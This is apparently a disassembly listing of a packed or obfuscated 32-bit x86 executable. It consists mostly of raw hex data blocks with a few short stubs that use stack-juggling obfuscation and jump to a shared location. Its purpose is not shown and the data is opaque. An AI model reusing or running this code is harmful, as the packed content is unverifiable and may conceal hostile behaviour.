		dd 1E56EBA6h, 0CE9F7041h, 36628C24h, 7F19ED1Dh,	6B000000h
		dd 6E385AEh, 5C7CB373h,	0E7B8860Dh, 621FE289h, 0E785B1D5h
		dd 0A68390Ah, 0BAB71F2Ch, 242FCDA5h, 0C75909DAh, 25427A87h
		dd 0E58BAC69h, 0D6D93708h, 3984825h, 31D64139h,	0EC7AD831h
		dd 2542E9D8h, 65D08D3Dh, 7FF54C07h, 0CD73D1A2h,	5F05124Dh
		dd 0E9391DAFh, 0F76A2542h, 11C2F73h, 5B1522C7h,	0BDCAD7Eh
		dd 723ED361h, 0A1D41B85h, 95821F7Dh, 0D6000000h, 724F1D19h
		dd 1B4DE6A1h, 59EF16BDh, 27D98B3Bh, 42A60195h, 83E19225h
		dd 45C09CF5h, 0D95CF71Fh, 2AE5C293h, 0AAC27317h, 7B8B1DCDh
		dd 88DCA07Ch, 8B3506D7h, 25B94BFDh, 0B6DCA07Ch,	53EEA705h
		dd 2FB44421h, 0F6DCA07Dh, 97522F41h, 2FF2CFA1h,	0FCFF6FABh
		dd 3BEDA278h, 0A07F15A9h, 5569FBDCh, 66DCA07Fh,	0A1FFB0B5h
		dd 711B59E8h, 4FFF65B3h, 0FC84D3BDh, 0BA9748E6h, 553242FFh
		dd 9FC05AFEh, 0A93BEB89h, 0ECA0D2EFh, 4BD98334h, 67DAA88Eh
		dd 37DE3C0Dh, 8B3B59EFh, 0B389DAF6h, 0B10FC432h, 0AD945103h
		dd 31DB69C7h, 661F1E2Ah, 965305B5h, 0A83CCCA0h,	39DC9E88h
		dd 944F2A88h, 1359DDADh, 0EA946536h, 0ECC2F051h, 1BB8919Ah
		dd 71EBD897h, 52E2A7DEh, 6D1FD181h, 9EDBCBDBh, 9727D8DCh
		dd 0DC9EDB07h, 62720494h, 6FDC9EDBh, 232EDBEh, 5AB88966h
		dd 7EFEF7Fh, 320691B4h,	8FA6613Eh, 0A74F00DDh, 0B438FB73h
		dd 51231E66h, 41330EA7h, 0DD8BA964h, 1505A900h,	0F8A2D26Fh
		dd 0E292E25Fh, 5E1225h,	38625h,	5DE10000h, 4E2614B6h, 0E98BB671h
		dd 89E7510Ch, 2A46F1ACh, 0C8A4924Dh, 660630EBh,	266CE89h
		dd 0A1CB6A25h, 3E2A09C4h, 89539C61h, 4C381E3h, 57000000h
		dd 4BFh, 5FFB2900h, 5C241C87h, 81E68956h, 4C6h,	4EE8100h
		dd 87000000h, 895C2434h, 49682404h, 8900000Fh, 68512414h
		dd 0F611B55h, 49D1F759h, 0AD32BE56h, 0F131F6BAh, 59C8895Eh
		dd 24148B54h, 4C481h, 0EC810000h, 4, 89242C89h,	86A89C5h
		dd 2434FF5Dh, 4C4835Ah
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544162
; ---------------------------------------------------------------------------
		dd 0CAD1719Ch, 12CB16CBh, 4F26B884h, 0C5030624h, 9BCFE0FFh
		dd 83C50B46h, 2B4370E1h, 55774CBAh, 7F415DFFh, 346876D2h
		dd 24550373h, 233B5FF5h, 0CAC07B9Dh, 18616922h,	2B9752BBh
		dd 0D937BCEh, 3A283FCDh, 0DD6C7921h, 0B8451A81h, 78907F37h
		dd 0AF46370Fh, 4C075117h, 0B85669B4h, 0ADD6644Dh, 9D6660BCh
		dd 22892F72h, 497D682Ch, 0B1213A8Dh, 0BD4144B5h, 2E724EC1h
		dd 8D8D5DDCh, 6245107h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0A5C35141h, 0A360AAC9h, 47F07685h, 5DB866B9h
		dd 5985898Ch, 89061D1Ch, 1D20D18Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8EBA1ED2h
		dd 0C74E8F84h, 1D331D85h, 599C06h, 9D0B5200h, 61D2925h
		dd 0F985C75Fh, 61D2Bh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0D483C353h
		dd 1B5FFC9h, 0E9061D02h, 0Eh, 0E7368A6Bh, 7BD3E0D1h, 406561FEh
		dd 95FF9319h, 61D1519h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 7CC35141h, 4A6CB790h,	0BD8B584Ah, 61D317Dh
		dd 95FF006Ah, 61D1209h,	3FEBC08Bh, 6489EF69h, 0B516ED5Bh
		dd 8D7E4D3Eh, 7D2FC3D6h, 2EADCB77h, 66D37DB3h, 0BA4332ACh
		dd 27CD26CBh, 0BE1DA3F8h, 8895D7B4h, 6FF23215h,	847FBB2Bh
		dd 233A2194h, 98CF0631h, 0D88F5594h, 0EB78D56Ch, 65D93E04h
		dd 546E926h, 7CBE0000h,	7EB54EF8h, 8EA740EAh, 999B34DEh
		dd 0AA8C25CFh, 0C3A018C2h, 78224AECh, 6E1858DFh, 630D63D5h
		dd 53FD77CAh, 0B549DB6Dh, 462366F7h, 2D1459E0h,	0FDBA6A47h
		dd 1ED7353Bh, 11AA5418h, 0D7944430h, 5C2D0A6Ah,	0FCD997A1h
		dd 37F2CD2Bh, 0D28D6A0Ah, 672A0761h, 0F44D37E3h, 0FB3DD680h
		dd 632CB75h, 65D28D6Ah,	989E5B0Bh, 0A65363F5h, 0AF602542h
		dd 4EA580DEh, 194FE5A2h, 7F0515BBh, 740DB7B9h, 1ACAA7CDh
		dd 79CF9285h, 490495A9h, 0D2A380ECh, 7DD3E674h,	941C2542h
		dd 0E7EDFF86h, 0A05214FFh, 4269FE0Eh, 0FC5A0B25h, 5188h
		dd 2D14E100h, 0C0DA6A47h, 112542A6h, 0FAF49189h, 4714FF3Ch
		dd 0E3C0AC8Ah, 0D40B412h, 92000000h, 2D0A5ED5h,	0D4A0A15Ch
		dd 21C826F7h, 0D55F1F14h, 14E5B693h, 0B1B77C37h, 4D1B19D4h
		dd 0F129AD70h, 387B099Eh, 0F1A35614h, 0F59DA93h, 0FF75CC65h
		dd 2214CE55h, 81B26D4Ah, 800A0AE7h, 204CEA9Ah, 6F85DB70h
		dd 9B85F46Ah, 0B61454E0h, 0BECC750Eh, 4617F478h, 58DD9875h
		dd 25AF3714h, 2C0E90F5h, 742D14FFh, 86000000h, 6D4A2214h
		dd 0CE983B2h, 2F55C549h, 0E0F48607h, 0F12542A6h, 0EC73AD40h
		dd 94B4691Ch, 0B68019C3h, 25026ACCh, 0F6A68354h, 0C235F961h
		dd 0A2006E41h, 401D4BE9h, 99EC2EB8h, 14FF3F07h,	5636h
		dd 621F8F00h, 0E7B895DFh, 666D089h, 6F8AC156h, 9F9728F1h
		dd 7104D597h, 1A9344ECh, 0FED93762h, 9E7BF543h,	0E1520F9Bh
		dd 7BD9AA87h, 0F73F45D5h, 1444CB75h, 0C4D86A1Fh, 1F2542A6h
		dd 0A4755222h, 401DEE9Fh, 42A619B0h, 0BC5EE625h, 0FF3C27C9h
		dd 15614h, 14AF0000h, 0ACD26121h, 3411E28Ah, 0FAB59263h
		dd 0F9502D47h, 76BFC555h, 29446F6h, 2542A6F2h, 9DD364FFh
		dd 8C66ECCh, 14A65632h,	1F45B655h, 561E23BEh, 54EDA885h
		dd 64DD7620h, 19A33310h, 0A0DCA056h, 0BB86FE1Ch, 0CB760FB9h
		dd 3011CCA9h, 30E29444h, 0A0560E9Eh, 5AEA9BDCh,	0DCA0564Ah
		dd 6D48A657h, 4D37E36Dh, 3ED680F4h, 0ED1DCCACh,	0B94DDF91h
		dd 4ADCA042h, 72C73B99h, 20000001h, 0C75C59EFh,	0CDD7F7B0h
		dd 0C0D464EAh, 1B254223h, 0DA4D521Ah, 0F354A97Bh, 1DCD9EFAh
		dd 42597B8Bh, 6D78825h,	0D157C156h, 12737938h, 8AA63FC9h
		dd 56B4852Fh, 628B16A8h, 57081F45h, 0F282BF7Ah,	0E292AF48h
		dd 93F74A05h, 48F8C9A3h, 5CD8AA8Bh, 8D5E2F0Ch, 9B99542Fh
		dd 0C35F0CDh, 71D08B68h, 70AA5203h, 12798D1Fh, 0D98ADCA1h
		dd 9C7E0808h, 711B59E8h, 1C88D7D9h, 4F66EDh, 0EFBF0000h
		dd 89E35258h, 5A0ADBACh, 0D0C613A8h, 0E9B668A9h, 6059FD8Bh
		dd 994A2542h, 60082CE9h, 7972702h, 0E8254260h, 0B0B87B38h
		dd 0FEA402D3h, 90F4431Ch, 600E4EE0h, 0EA9B2542h, 4CF5B240h
		dd 0B0B84B28h, 9698D9F4h, 6D0A6839h, 0A5h, 5159EFC8h, 8616A8E5h
		dd 132542A6h, 0E3B49162h, 47CD6212h, 0BE693048h, 29224D4h
		dd 8F254258h, 40D280DEh, 1F453ED1h, 0E090A742h,	84613203h
		dd 7C9022D4h, 8DDCA17Eh, 7CC57EDCh, 6A47290Eh, 851EC899h
		dd 2BDBB8BCh, 43A1D36Eh, 0A17F2EB5h, 6623AFDCh,	0EEBF9CD0h
		dd 0F1061E5Bh, 9CFA0457h, 0E16024F6h, 1D2BE993h, 2B0AC777h
		dd 0A335E341h, 0E6FD81AAh, 0A05B38E9h, 3BF6D3A1h, 0D6916E06h
		dd 0B8824A60h, 0DBC5760Bh, 32D62D0Ah, 8B2F86E8h, 1E7AD08Fh
		dd 0A071DC6Eh, 0AF22ECA1h, 956363FCh, 0C16B3C7Ah, 3B59EF3Ah
		dd 755CF98Bh, 8E3F1F1Eh, 0A9A2CDEh, 0ECDC9909h,	99094A5Ah
		dd 0A1A657DCh, 0FCB792F0h, 0EC852F45h, 92421F55h, 50D0A7FDh
		dd 0A907E564h, 5993D41Bh, 0C4A88DFCh, 61072CE7h, 20FA8484h
		dd 13078B4Eh, 7D1FE77Ch, 1E6252E8h, 0DBB8788Ch,	7D889FCh
		dd 0A481E74Ch, 85BC75D3h, 0B3823FEFh, 0C2FA2DF7h, 0E2B3EA8Ch
		dd 4C367205h, 6089C9D7h, 0F089318Fh, 0DE732351h, 0CF5B9372h
		dd 20B2623Dh, 0FCDB738Ch, 330E6C1Dh, 2071C683h,	0DB737E8Eh
		dd 9DA8BFCh, 3BA3992Ch,	7E3DC8Ch, 2506A336h, 5E95F349h
		dd 7BED4700h, 77A3479Eh, 9640340Dh, 533044FDh, 8B4h, 0AF5D0F00h
		dd 0C7254FF2h, 4E261420h, 0E98BB671h, 89E7510Ch, 2A46F1ACh
		dd 0C8A4924Dh, 660630EBh, 266CE89h, 0A1CB6A25h,	3E2A09C4h
		dd 6A689C61h, 8900002Ch, 0E389241Ch, 4C381h, 0EB830000h
		dd 241C8704h, 0E689565Ch, 4C681h, 0EE830000h, 24348704h
		dd 2434895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 50241489h
		dd 0B17C2B8h, 0F7D8F728h, 0A6BB53D0h, 31108D65h, 0D8055BD8h
		dd 402ED807h, 3A28EA2Dh, 58C68961h, 24148B54h, 4C481h
		dd 89500000h, 84289F0h,	8324048Bh, 34FF04C4h, 0C4815A24h
		dd 4, 5324348Bh, 0C381E389h, 4,	4C381h,	1C870000h, 27E95C24h
		dd 1BFFF929h, 6DAEFE9Eh, 6EE7ADFAh, 0E3A099BDh,	2455F6B8h
		dd 0FFC50306h, 0A61039E0h, 3FD49017h, 0D343AA43h, 0CD26D16Bh
		dd 0CFE1ED10h, 88C42417h, 7F022776h, 0EFE7A95Ah, 1244D042h
		dd 0E82C8511h, 37ED4533h, 49F71F04h, 0E0330534h, 1D715942h
		dd 0C2238767h, 510F611Ch, 0EB00C07h, 99EC310Dh,	6375593Bh
		dd 0DAF0B11h, 223B4163h, 90E8B427h, 2905D065h, 82CF661Dh
		dd 0AB78D315h, 5233E17Bh, 9ECEF218h, 7E834h, 0DA4D0000h
		dd 3AE10BB9h, 0F68166E3h, 0F5A541Eh, 0C281F3BFh, 5A52h
		dd 0AA32EE81h, 66683F82h, 60000016h, 51D78B66h,	615A15B6h
		dd 0EB816659h, 32FF9EADh, 21CE8166h, 0E86058CDh, 8, 106ED0ECh
		dd 94DAB6C6h, 4DC7815Eh, 6145FCCEh, 0EDFAC081h,	0E881092Bh
		dd 77DB6384h, 81F28B66h, 41E4A1E8h, 85DE812Eh, 8903AB69h
		dd 13E902h, 0EBA30000h,	0F352109Ah, 1D2E2F5Eh, 0F261B5DBh
		dd 0C10D4BCh, 2EA8336h,	40CB8166h, 834A4A2Ah, 850F01E9h
		dd 1Bh,	0E9D8B70Fh, 20h, 0E64FB2CAh, 0C10376D6h, 0AFC6F8Dh
		dd 2129C9C2h, 66619D35h, 77E9FA8Bh, 1DFFFFFFh, 7D2298EDh
		dd 58598D8Dh, 9D890624h, 61D14B1h, 0D18D89F5h, 66061D20h
		dd 0C771D8B8h, 1D331D85h, 74B806h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0C7770E3Ah
		dd 1D2BF985h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0B5FFF933h, 61D13F5h
		dd 2C4D9D09h, 95FF061Dh, 61D1519h, 14A18529h, 6A061Dh
		dd 120995FFh, 0C08B061Dh, 42076AEBh, 15F4DB56h,	376C7246h
		dd 3756365Bh, 4B21A715h, 51B001D6h, 97DC9EC9h, 0DAF60124h
		dd 2DAA3454h, 15F935E5h, 6D30AFE9h, 874EE59Ch, 68C2EDCh
		dd 3ED9E8BCh, 0A7F8EB09h, 0A87175EAh, 255D79DCh, 0DDAB92Bh
		dd 427842C9h, 34F42C91h, 4A1AEA0Ah, 0BEAEB108h,	62A8E747h
		dd 9EBB5C54h, 821EF51Eh, 7E459A2Eh, 8F34435h, 4F7D04EBh
		dd 21E913DAh, 41000005h, 38D17BF9h, 2AC36DFBh, 1EB7610Bh
		dd 0FA85216h, 239B4527h, 0A5C76F44h, 9BD562FBh,	90E058F1h
		dd 80F44DE6h, 0CC5EF0D6h, 2366FE38h, 14DC63C9h,	0AF6A472Dh
		dd 0E7FD2387h, 12202F42h, 43FE9741h, 0A8995431h, 0FF34EFCCh
		dd 62D18C69h, 0C96E2906h, 0CF73CAA7h, 0DC60234Bh, 0FCBC513Eh
		dd 0C6D66872h, 0D32542A4h, 660F8F22h, 0B889E750h, 0D4A0A15Ah
		dd 0C9A7912Ah, 0DFB2861Fh, 4253B94Dh, 0C8994A25h, 690730EBh
		dd 0D789358Ch, 4253B145h, 33914225h, 41F78D8Dh,	55EC852Fh
		dd 27B2421Fh, 0E8254253h, 21CBBA60h, 1E14FFC9h,	0BA97D561h
		dd 5B3838FFh, 0E75BB98Ah, 59h, 472D1440h, 0A6C0DA6Ah, 89112542h
		dd 0F341FE91h, 69C79875h, 0FF3C3FB1h, 13E14h, 14970000h
		dd 97D95F1Fh, 3B18E9BAh, 5B5B380h, 0A481EF48h, 0DF9A75D3h
		dd 5D0B2955h, 68ECAF8Ch, 761D2B2h, 0D19B9A57h, 1DC523F4h
		dd 0DB7BD84h, 0F672C27Fh, 0A78D4819h, 0B513E4C1h, 4A22140Eh
		dd 3728BD6Dh, 63CC18B5h, 0EB48015Fh, 51E5A07Dh,	8B680431h
		dd 510CE9BAh, 0AAAA87E5h, 7474FA20h, 0CA5F30EAh, 609F22EEh
		dd 92EE945h, 5BB98A67h,	67F994A2h, 2542D357h, 0D39727B9h
		dd 73242542h, 3302BD6Eh, 0BA8B5C39h, 0AACA7710h, 492312CDh
		dd 355CDC99h, 42D313A3h, 1EEFA025h, 0CB5DE5C0h,	17996E36h
		dd 4CAAF27Fh, 8F1174A6h, 0AE14FFBCh, 4Bh, 4A221407h, 0E983B26Dh
		dd 0EEB87C39h, 4801385Ch, 0DBB88980h, 0ED1AC0Ah, 42F4908Ah
		dd 78BD7A2Ah, 0E84617F4h, 0DD8FA740h, 79EF4500h, 908A149Ch
		dd 0FF2AEBF5h, 539214h,	14EB0000h, 0B26D4A22h, 0A0DEA86h
		dd 46F09486h, 14F57C26h, 92E25F1Fh, 0CD5F11C1h,	2542A639h
		dd 62122FCAh, 0C60D691h, 0B643D3AEh, 872542A6h,	4BDEBBADh
		dd 4AA75EE8h, 3204BFECh, 0D35D5D3Ah, 0D65E2747h, 0AA8E4B44h
		dd 3EB068C6h, 3D14FFB8h, 1, 4B211496h, 4001BE6Eh, 15A75734h
		dd 2542A681h, 0D5906112h, 0F7B00E62h, 0E57A2A4Ah, 81B54326h
		dd 2ABD58EBh, 0C017F250h, 0AF86FE1Ch, 0C75513BDh, 0FF34F1A1h
		dd 0CB5D0B69h, 1F45E8EEh, 2CE7C475h, 1CB55F15h,	0E2724F25h
		dd 0DCA1EBD8h, 0C5BF5BDFh, 8B48F87Ch, 0C92DC0A8h, 7D74B2ECh
		dd 3CD57DDBh, 0D7926F05h, 0C55A0A6Ah, 0ED401247h, 0CFDF7180h
		dd 0DCDCA1B9h, 21FC5A2Bh, 0C29FD166h, 5F3C2C07h, 0FFDC94A4h
		dd 73A72B2Eh, 0B97A8A1Ch, 0D687DCA1h, 9F7B0505h, 6E185CE5h
		dd 1C23D4D6h, 0CB6C29EDh, 3FD347A5h, 2C000001h,	8B3B59EFh
		dd 45BDE8F9h, 5D3AEB1Fh, 25D59FA2h, 73CDE173h, 2DDEDCA0h
		dd 0B38E27CFh, 0E15411C1h, 97522D8Bh, 0EDEDCAAAh, 74CDB763h
		dd 16C85600h, 0A0737084h, 15D081DCh, 32EA482Ch,	0ED1DE9B8h
		dd 0FC6CC885h, 582A9Eh,	1F830000h, 66C1A98Ah, 0DE5727C6h
		dd 0FE0B18Eh, 0AC89DF54h, 889F7DDBh, 0AAAA3CECh, 0F72542FFh
		dd 0C5D96946h, 2A2542FEh, 0A636C87Ah, 332542FEh, 9C7E2482h
		dd 601074C3h, 47F195A3h, 0AA7B4C29h, 480C9E4Ch,	0AE2542FEh
		dd 0FE5A6AFCh, 0B6672542h, 0FAA45558h, 9D7Dh, 59EFD800h
		dd 47D98B3Bh, 2542A6B7h, 87359344h, 511F18D5h, 0C02C65F3h
		dd 0B6671F45h, 8F231ED9h, 0EF4696E1h, 0DF895A69h, 9C79FB46h
		dd 0A0A9F70Ch, 988206DCh, 751F55ECh, 630D2AE7h,	1DE8EA8h
		dd 26F4D230h, 2E009242h, 0C3E6FC63h, 0C8853512h, 5021FE6Eh
		dd 6C0839F2h, 3636FFBCh, 2A6FDD8h, 93F14718h, 0C27F31E3h
		dd 4819F672h, 0FF1324B8h, 1E1AB5D6h, 0D3A47552h, 0DB15E775h
		dd 0FAAECA3h, 0F5028327h, 0C7777E7Dh, 0D76919F6h, 0C8DBD9C7h
		dd 0A25223D4h, 0DBD9FC10h, 8B5C0DC8h, 59EF5AE1h, 27F98B3Bh
		dd 0BC1F1E6Eh, 0E97E2E0Bh, 0EA9ABDB1h, 0EEA7056Ch, 0B4712153h
		dd 0F12A2B83h, 0C3674A65h, 53EC94F2h, 19A986EEh, 0CB334CC1h
		dd 0EB4B0894h, 9D7D2381h, 701A5AE7h, 2D0A6AD7h,	0C9A6C272h
		dd 384CCE72h, 0F8B68109h, 4B9AEAF1h, 4415E615h,	0BC50E294h
		dd 4DC69F1Dh, 0FD963E9Ch, 2FBF5144h, 0BCC69F1Dh, 0BE5D3A0Bh
		dd 0Ah,	0D6621F19h, 8EECBD9Ah, 2614771Eh, 8BB6714Eh, 0E7510CE9h
		dd 46F1AC89h, 0A4924D2Ah, 630EBC8h, 66CE8966h, 0CB6A2502h
		dd 2A09C4A1h, 569C613Eh, 0C6815E54h, 4,	8704EE83h, 685C2434h
		dd 3021h
		db 89h,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		push	52393763h
		mov	eax, [esp]
		add	esp, 4
		add	eax, 0B3EB2170h
		mov	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	5014h
		mov	[esp], edx
		mov	edx, esi
		mov	[ebx+8], edx
		pop	edx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_544162
; ---------------------------------------------------------------------------
		db 2Eh
		dd 0D4059A4h, 245D6BB8h, 0FFC50306h, 3DA8F6E0h,	977B2056h
		dd 0D88D1447h, 32D62331h, 0F9A96B73h, 0ED4ED40Bh, 0C2447166h
		dd 6115F967h, 0D38D0971h, 0BE78CC24h, 3F0F1210h, 0E680AF3Ch
		dd 0B345A33Ch, 9DC88A3Eh, 0DAC95E1Dh, 0AAB3202Bh, 9F04EB3Bh
		dd 0E9467351h, 592h, 5C066ECCh,	4EF870C3h, 42EC80B5h, 33DD8BA9h
		dd 26D09C9Ah, 3CFAF1AEh, 4AED8630h, 55E37C26h, 69D8711Bh
		dd 0E97B610Bh, 66F84757h, 67EE5423h, 6A472D14h,	35E587AFh
		dd 5A23F1A0h, 49233BDh,	87C6691Ch, 70187647h, 5A0A6AD7h
		dd 0DF8616A8h, 83132542h, 42DFDDF1h, 6C3DEE25h,	0C978330Eh
		dd 2013CEABh, 0DFC7D769h, 23D42542h, 2EB27552h,	0CBA998ECh
		dd 0C0B08821h, 0B5BB7D16h, 771A1DD8h, 42DFD1E5h, 6031E225h
		dd 0C3802C83h, 0F79DFB75h, 99D76123h, 89EB56EFh, 0F63FFCACh
		dd 6AC89976h, 42DFCDDCh, 908A1225h, 0FF45FBF5h,	0AC8B4814h
		dd 35125EDAh, 0E5B69364h, 8A1387h, 146C0000h, 0E597472Dh
		dd 42A64353h, 0EF9F5025h, 42A6495Dh, 4BA95A25h,	0A6C6E070h
		dd 8F172542h, 3CF0FA8Bh, 68714FFh, 0D9000000h, 0F553191Ch
		dd 0D4621F4Eh, 0B2813A98h, 151ED9B6h, 0CB9CD869h, 0C7D7691Bh
		dd 0D42542A6h, 0CE179023h, 291F8678h, 0AB40F0CBh, 0E1F3C69Ch
		dd 20417E35h, 0D778F588h, 7ABA73D1h, 0CA4E11EEh, 69FF3450h
		dd 0C27431BFh, 0AE934CAAh, 0D26416C6h, 254201C2h, 1029224h
		dd 0DE8F2542h, 75F73ED9h, 179E46A4h, 6D4A2214h,	37E781B2h
		dd 54B2BE7Ah, 2BEF7979h, 1EB0DD59h, 2542A68Eh, 0EF996A1Bh
		dd 0EEC7EB56h, 0C400A131h, 0A3533001h, 1DB1C0Eh, 5318F177h
		dd 23BA3C16h, 9D56B485h, 6724D498h, 5BED9DCFh, 2542514Bh
		dd 6E49A758h, 10A254E6h, 254251FCh, 58FE5C0Dh, 0CD39C3C2h
		dd 616014FFh, 0B2000000h, 0CF2D43F5h, 4A221428h, 0E983B26Dh
		dd 55C5490Ch, 0BB65072Fh, 7B581422h, 17F474C0h,	7015058Fh
		dd 14FF3A6Eh, 660Dh, 22146600h,	0A6059A4Ah, 19435DC2h
		dd 0E59570CEh, 90DA133h, 61F32542h, 2542094Dh, 0F7A8AD5Eh
		dd 3958E099h, 21B1B77Ch, 2542098Dh, 0BF9C6D1Eh,	0A2E238BCh
		dd 0A72ED894h, 6C491F14h, 42A6CDDCh, 55132025h,	0F379BD78h
		dd 8B8F1316h, 0CD8A1AE3h, 4B710468h, 0B6703428h, 43D77DDBh
		dd 0FF7AA842h, 1CF14h, 14280000h, 0B36E4B21h, 6175078Eh
		dd 722542A6h, 0E75B20FFh, 0A47527DCh, 0EE5262F4h, 0AE5F2542h
		dd 0EF4500DDh, 55E19C79h, 9E6AC555h, 6738C511h,	0E931D98Ah
		dd 908A2E85h, 812B41F4h, 6BFD36F3h, 7B192F0Dh, 0E27039CBh
		dd 32E31F45h, 0CDA79A55h, 5CD89523h, 0AE5E2F0Ch, 0A1E5881Ch
		dd 0A6819DCh, 0A784F051h, 0A1E58D17h, 8A9014DCh, 832D47FAh
		dd 401D57EAh, 67CEBC85h, 86572805h, 2448EEA9h, 0C1A78C47h
		dd 8F8B33E4h, 904DDFDFh, 0C066C4A4h, 0BE78355Ah, 0A200D1AEh
		dd 721C58E9h, 1C7FD0DAh, 17167EDh, 7B90000h, 0A1916175h
		dd 50E272DCh, 0DCA191BCh, 6DCB9C4Dh, 5C8A1FC6h,	11443134h
		dd 75441A2Bh, 0DBAC1201h, 0EB899F7Dh, 1F18A93Bh, 5BF01F45h
		dd 5CE5BA42h, 50BF8518h, 36A9AC0Ah, 0EFF72A8Eh,	0AC895ACFh
		dd 7A2450F1h, 641460E1h, 68C20B2h, 0D067DCA1h, 8CEA9BA0h
		dd 294BF6B1h, 0FDBA4C4Ch, 85563339h, 0F6998127h, 9471FF39h
		dd 95AC65C3h, 12A735DFh, 329E78C1h, 0C77FDDADh,	0ED1C7325h
		dd 3308851Ah, 0FACAA7Fh, 513DB1h, 0EF960000h, 0CF8C3C58h
		dd 99184569h, 55A2EC6Fh, 0E6782684h, 2542D466h,	15A58233h
		dd 2542D481h, 0B390D85Ch, 522F3DF8h, 1C52C852h,	857C36Bh
		dd 0D0E47633h, 0E12542D4h, 0FDAF5F30h, 1876F640h, 42D4CA8Ah
		dd 7C26D725h, 9AFFh, 0A0965300h, 0EFC76ECCh, 84F05159h
		dd 207103B3h, 731F45C0h, 7835E5C2h, 3ED1AEBEh, 8F73C8Eh
		dd 72D0A1D3h, 42EC88B9h, 0F76F1FB4h, 7BBACAD8h,	85E3B4BCh
		dd 22FF75CCh, 0A0FA0D92h, 12088CDCh, 0FBA5CF72h, 37FEBB6Dh
		dd 0FA11A535h, 0F1A2DCA0h, 0FA1FAF41h, 0FBACDCA0h, 0B69BF9Dh
		dd 0D1C9C65Bh, 0EADD5FBEh, 0F74CDE8Ch, 84E6FCC7h, 0DF7123D3h
		dd 0D6FCF7CFh, 0F2CD2BDCh, 8D6A0A37h, 74CD8A36h, 1EFCA200h
		dd 0DD8DEB41h, 0A039F44Bh, 22D283ECh, 55CEDE70h, 2ADBC8DBh
		dd 0EF9D24CCh, 85E35159h, 5606D7A8h, 1E687FC4h,	6E4BFC1Fh
		dd 3A3601BEh, 752E8C5Dh, 65FEA8CCh, 0BBB98DCh, 737C759h
		dd 13C4DC99h, 704F27B5h, 8A0E9C54h, 274DF490h, 0F32EF7Dh
		dd 0E2B3BD7Bh, 0F2843405h, 9CC6CDE2h, 27E03EEFh, 0EDAA5A1Ah
		dd 73F93C4Ah, 0BA32C5A2h, 74C2A3D2h, 35106E3Fh,	0FEAEBA7Ah
		dd 3F519069h, 8CEAF65Fh, 64B65AB1h, 0A9532120h,	0D2643110h
		dd 9CC620C2h, 484D1B19h, 39E9C697h, 20E1F587h, 41F29CC6h
		dd 346E3h, 5DA10000h, 4E2614B6h, 0E98BB671h, 89E7510Ch
		dd 2A46F1ACh, 0C8A4924Dh, 660630EBh, 266CE89h, 0A1CB6A25h
		dd 3E2A09C4h, 89539C61h, 4C381E3h, 83000000h, 1C8704EBh
		dd 24248B24h, 8904EC83h, 3B68243Ch, 89000016h, 4968242Ch
		dd 89000025h, 0E6682414h, 5A64DD6Ch, 3BACA81h, 0C28162FCh
		dd 22F13CBCh, 0AC0EA81h, 0F2817664h, 15AEFFB2h,	685AD789h
		dd 64AEh, 81242489h, 42404h, 505D0000h,	45895857h, 2C8B5808h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 243C8B5Ch
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0FFF91BDEh
		dd 4AB80DD1h, 3062463h,	0E2E0FFC5h, 7233BD6Eh, 0F05ED6EDh
		dd 8341A2BFh, 485C0B8Ah, 0EB00FCAAh, 0C95947FAh, 0A0320BD3h
		dd 0B34B9054h, 0CF4659AAh, 0EF0021BDh, 1F31FBA9h, 0F1FF3B9h
		dd 0D52AA239h, 995AB8D3h, 851C301h, 361E3C6Ch, 95307867h
		dd 6177C68Eh, 0D26D78B9h, 0EB20316Eh, 10h, 3 dup(0)
		dd 52C08B00h, 1949BD89h, 835E061Dh, 1D1669BDh, 9750006h
		dd 121BD83h, 7400061Dh,	8B535019h, 42DB8C0h, 85890000h
		dd 61D2A69h, 0A63D9D8Dh, 0D3FF061Fh, 0BD83585Bh, 61D0121h
		dd 50177400h, 42DB853h,	85890000h, 61D2A69h, 0A32C9D8Dh
		dd 0D3FF061Fh, 8E0F585Bh, 6, 20F5B58Bh,	0C08B061Dh, 2D099523h
		dd 8D89061Dh, 61D21DDh,	16098D8Bh, 0BF0F061Dh, 0F983F3h
		dd 3C840Fh, 0B58B0000h,	61D0659h, 2C3D8B64h, 89000000h
		dd 1D2D55B5h, 0FFF0B06h, 2184h,	6E800h,	47F50000h, 33810964h
		dd 8B5A7FB2h, 0A5BE663Fh, 0FC03236h, 0AAF3D3BFh, 2FDDB503h
		dd 4935061Dh, 2B535041h, 1D04F5B5h, 2585C606h, 47061D1Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 53C35646h
		dd 0D3AB09FEh, 0C6A71414h, 138D8D29h, 4E8061Dh,	2C000000h
		dd 0E8DCD688h, 11h, 903DE104h, 0EB6C86EEh, 0FBC7F4BDh
		dd 19AC6320h, 8B505AA7h, 24448BD7h, 0BE008B04h,	729E0C8Fh
		dd 4244489h, 0BA58F28Bh, 616E403Ah, 1805B5FFh, 0B589061Dh
		dd 61D3339h, 77FF858Dh,	9D010620h, 61D2E75h, 8D29D0FFh
		dd 61D0265h, 212D8589h,	7E9061Dh, 0EB000000h, 0CD89967Bh
		dd 85C6C3C0h, 61D1B25h,	51006A53h, 3E8h, 0C3592000h, 244C8959h
